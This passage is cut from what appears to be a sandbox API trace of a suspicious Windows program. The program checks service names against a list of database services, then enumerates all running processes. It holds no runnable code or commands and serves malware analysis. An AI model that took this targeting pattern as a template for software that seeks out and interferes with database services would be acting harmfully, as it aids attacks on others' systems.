-1 [0162.572] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0162.572] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0162.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0162.572] lstrlenW (lpString="RpcEptMapper") returned 12 [0162.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0162.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0162.572] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0162.572] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0162.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0162.572] lstrlenW (lpString="RpcSs") returned 5 [0162.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0162.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0162.572] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0162.572] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0162.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0162.572] lstrlenW (lpString="SamSs") returned 5 [0162.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0162.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0162.572] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0162.572] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0162.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0162.572] lstrlenW (lpString="Schedule") returned 8 [0162.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0162.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0162.572] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0162.572] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0162.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0162.572] lstrlenW (lpString="SecurityHealthService") returned 21 [0162.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0162.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0162.572] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0162.573] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0162.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0162.573] lstrlenW (lpString="SENS") returned 4 [0162.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0162.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0162.573] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0162.573] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0162.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0162.573] lstrlenW (lpString="ShellHWDetection") returned 16 [0162.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0162.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0162.573] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0162.573] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0162.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0162.573] lstrlenW (lpString="Spooler") returned 7 [0162.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0162.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0162.573] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0162.573] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0162.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0162.573] lstrlenW (lpString="SSDPSRV") returned 7 [0162.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0162.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0162.573] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0162.573] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0162.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0162.573] lstrlenW (lpString="StateRepository") returned 15 [0162.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0162.574] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0162.574] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0162.574] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0162.574] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x881c38 | out: hHeap=0x790000) returned 1 [0162.574] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x36c [0162.578] Process32FirstW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0162.579] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0162.580] lstrlenW (lpString="System") returned 6 [0162.580] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0162.580] lstrlenW (lpString="smss.exe") returned 8 [0162.580] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0162.581] lstrlenW (lpString="csrss.exe") returned 9 [0162.581] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0162.582] lstrlenW (lpString="wininit.exe") returned 11 [0162.582] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0162.583] lstrlenW (lpString="csrss.exe") returned 9 [0162.583] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0162.583] lstrlenW (lpString="winlogon.exe") returned 12 [0162.583] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0162.584] lstrlenW (lpString="services.exe") returned 12 [0162.584] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0162.585] lstrlenW (lpString="lsass.exe") returned 9 [0162.585] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.586] lstrlenW (lpString="svchost.exe") returned 11 [0162.586] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0162.586] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0162.586] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0162.587] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0162.587] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.588] lstrlenW (lpString="svchost.exe") returned 11 [0162.588] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0162.588] lstrlenW (lpString="dwm.exe") returned 7 [0162.588] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.589] lstrlenW (lpString="svchost.exe") returned 11 [0162.589] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.590] lstrlenW (lpString="svchost.exe") returned 11 [0162.590] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.590] lstrlenW (lpString="svchost.exe") returned 11 [0162.590] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.591] lstrlenW (lpString="svchost.exe") returned 11 [0162.591] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.592] lstrlenW (lpString="svchost.exe") returned 11 [0162.592] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.592] lstrlenW (lpString="svchost.exe") returned 11 [0162.592] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.593] lstrlenW (lpString="svchost.exe") returned 11 [0162.593] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.594] lstrlenW (lpString="svchost.exe") returned 11 [0162.594] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.594] lstrlenW (lpString="svchost.exe") returned 11 [0162.595] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0162.595] lstrlenW (lpString="spoolsv.exe") returned 11 [0162.595] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.596] lstrlenW (lpString="svchost.exe") returned 11 [0162.596] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.597] lstrlenW (lpString="svchost.exe") returned 11 [0162.597] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0162.600] lstrlenW (lpString="audiodg.exe") returned 11 [0162.600] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0162.601] lstrlenW (lpString="sihost.exe") returned 10 [0162.601] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.602] lstrlenW (lpString="svchost.exe") returned 11 [0162.602] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0162.602] lstrlenW (lpString="taskhostw.exe") returned 13 [0162.602] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0162.603] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0162.603] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0162.604] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0162.604] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0162.604] lstrlenW (lpString="explorer.exe") returned 12 [0162.604] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0162.605] lstrlenW (lpString="Memory Compression") returned 18 [0162.605] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0162.606] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0162.606] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0162.606] lstrlenW (lpString="SearchUI.exe") returned 12 [0162.606] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0162.607] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0162.607] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0162.608] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0162.608] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0163.178] lstrlenW (lpString="taskhostw.exe") returned 13 [0163.178] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0163.179] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0163.179] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0163.180] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0163.180] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0163.180] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0163.180] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0163.181] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0163.181] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfe0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0163.182] lstrlenW (lpString="conhost.exe") returned 11 [0163.182] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver.exe")) returned 1 [0163.183] lstrlenW (lpString="screensaver.exe") returned 15 [0163.183] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upperarc.exe")) returned 1 [0163.183] lstrlenW (lpString="upperarc.exe") returned 12 [0163.183] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buying.exe")) returned 1 [0163.184] lstrlenW (lpString="buying.exe") returned 10 [0163.184] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="downloadable.exe")) returned 1 [0163.185] lstrlenW (lpString="downloadable.exe") returned 16 [0163.185] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guests_production_meanwhile.exe")) returned 1 [0163.186] lstrlenW (lpString="guests_production_meanwhile.exe") returned 31 [0163.186] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="deemed-shirts.exe")) returned 1 [0163.187] lstrlenW (lpString="deemed-shirts.exe") returned 17 [0163.187] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mugwritesheroes.exe")) returned 1 [0163.187] lstrlenW (lpString="mugwritesheroes.exe") returned 19 [0163.187] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="swapdamelooked.exe")) returned 1 [0163.188] lstrlenW (lpString="swapdamelooked.exe") returned 18 [0163.188] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="moments.exe")) returned 1 [0163.189] lstrlenW (lpString="moments.exe") returned 11 [0163.189] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="geo-sector-antonio.exe")) returned 1 [0163.190] lstrlenW (lpString="geo-sector-antonio.exe") returned 22 [0163.190] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="stream-test.exe")) returned 1 [0163.191] lstrlenW (lpString="stream-test.exe") returned 15 [0163.191] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="crestboatingstuffed.exe")) returned 1 [0163.192] lstrlenW (lpString="crestboatingstuffed.exe") returned 23 [0163.192] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0163.193] lstrlenW (lpString="taskhostw.exe") returned 13 [0163.193] Process32NextW (in: hSnapshot=0x36c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, 